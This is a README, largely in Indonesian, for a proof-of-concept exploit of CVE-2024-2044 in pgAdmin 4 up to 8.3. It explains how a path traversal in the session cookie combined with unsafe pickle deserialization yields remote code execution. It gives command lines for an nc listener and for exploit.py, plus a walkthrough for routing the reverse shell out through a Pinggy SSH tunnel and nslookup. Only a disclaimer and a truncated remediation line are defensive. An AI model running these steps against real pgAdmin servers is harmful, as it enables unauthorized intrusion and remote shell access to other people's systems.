
Python PoC exploiting CVE-2024-2044 in pgAdmin 4 (<=8.3) via authenticated path traversal and unsafe pickle deserialization to achieve remote code execution and reverse shell.
Repositori ini berisi skrip Proof of Concept (PoC) untuk CVE-2024-2044, sebuah kerentanan kritis yang menggabungkan Authenticated Path Traversal dan Unsafe Deserialization pada pgAdmin 4 (versi 8.3 ke bawah) yang berjalan di lingkungan Linux/POSIX.
[!WARNING] DISCLAIMER: Kode ini dibuat hanya untuk tujuan edukasi, riset keamanan, dan pengujian penetrasi resmi (authorized pentesting). Penyalahgunaan kode ini untuk menyerang target tanpa izin tertulis adalah tindakan ilegal dan melanggar hukum.
Pada pgAdmin 4 dengan mode server di lingkungan Linux, manajemen sesi disimpan dalam bentuk berkas lokal. Kerentanan terjadi karena fungsi FileBackedSessionManager.get() menerima nilai dari HTTP cookie pga4_session dan menggabungkannya ke jalur direktori menggunakan os.path.join tanpa sanitasi karakter manipulasi jalur (../).
Skrip PoC ini mengeksploitasi celah tersebut dengan alur sebagai berikut:
pickle berbahaya yang berisi perintah Reverse Shell. Berkas ini tersimpan di bawah direktori penyimpanan pengguna (misal: /storage/nama_user/)./login dengan memanipulasi cookie pga4_session menjadi jalur relatif menuju berkas pickle yang diunggah (misal: ../storage/nama_user/file.pickle!). Tanda ! digunakan untuk menyesuaikan dengan pencarian ekstensi file sesi pada pgAdmin 4.pickle.loads(). Akibatnya, payload mengeksekusi proses Python terpisah (detached) yang melempar Reverse Shell ke penyerang.requests.nc -lvnp 4444
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
Jika mesin Anda berada di belakang NAT/Router dan membutuhkan tunnelling publik, Anda dapat menggunakan layanan Pinggy.io dengan langkah-langkah berikut:
Nyalakan nc di mesin lokal terlebih dahulu menggunakan port pilihan Anda (misal: port 1337):
nc -lvnp 1337
Buka terminal baru, lalu jalankan perintah SSH Pinggy. Pastikan port lokal di bagian akhir (1337) sesuai dengan port nc yang Anda nyalakan sebelumnya:
ssh -p 443 -R0:localhost:1337 [email protected]
Setelah terkoneksi, Pinggy akan memberikan URL publik TCP, misalnya:
tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143

Catatan: Port publik yang didapat dari Pinggy adalah 43143 (Ini yang nanti menjadi -lport).
Server pgAdmin 4 target membutuhkan format alamat IP asli untuk koneksi socket reverse shell. Lakukan nslookup pada domain dari URL Pinggy Anda:
nslookup ubylm-103-79-246-198.run.pinggy-free.link
Output akan menampilkan IP publik dari server Pinggy (pilih IPv4 di bagian Address paling atas):
Non-authoritative answer:
ubylm-103-79-246-198.run.pinggy-free.link canonical name = lin.ap.12.a.pinggy.click.
Name: lin.ap.12.a.pinggy.click
Address: 172.236.148.125
Dari output di atas, didapatkan IP asli Pinggy: 172.236.148.125.

Jalankan skrip PoC dengan memasukkan IP hasil nslookup sebagai -lhost dan port publik Pinggy sebagai -lport:
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143


-t, --target : URL target pgAdmin 4 (Wajib).-u, --username: Email/Username login (Default: [email protected]).-p, --password: Password login (Default: player123).-lhost : IP Address penyerang / IP Hasil nslookup Pinggy (Wajib).-lport : Port listener penyerang / Port publik Pinggy (Wajib).Kerentanan ini telah diperbaiki pada pgAdmin 4 versi 8.4. Jika Anda mengelola server yang rentan, segera lakukan tindakan berikut: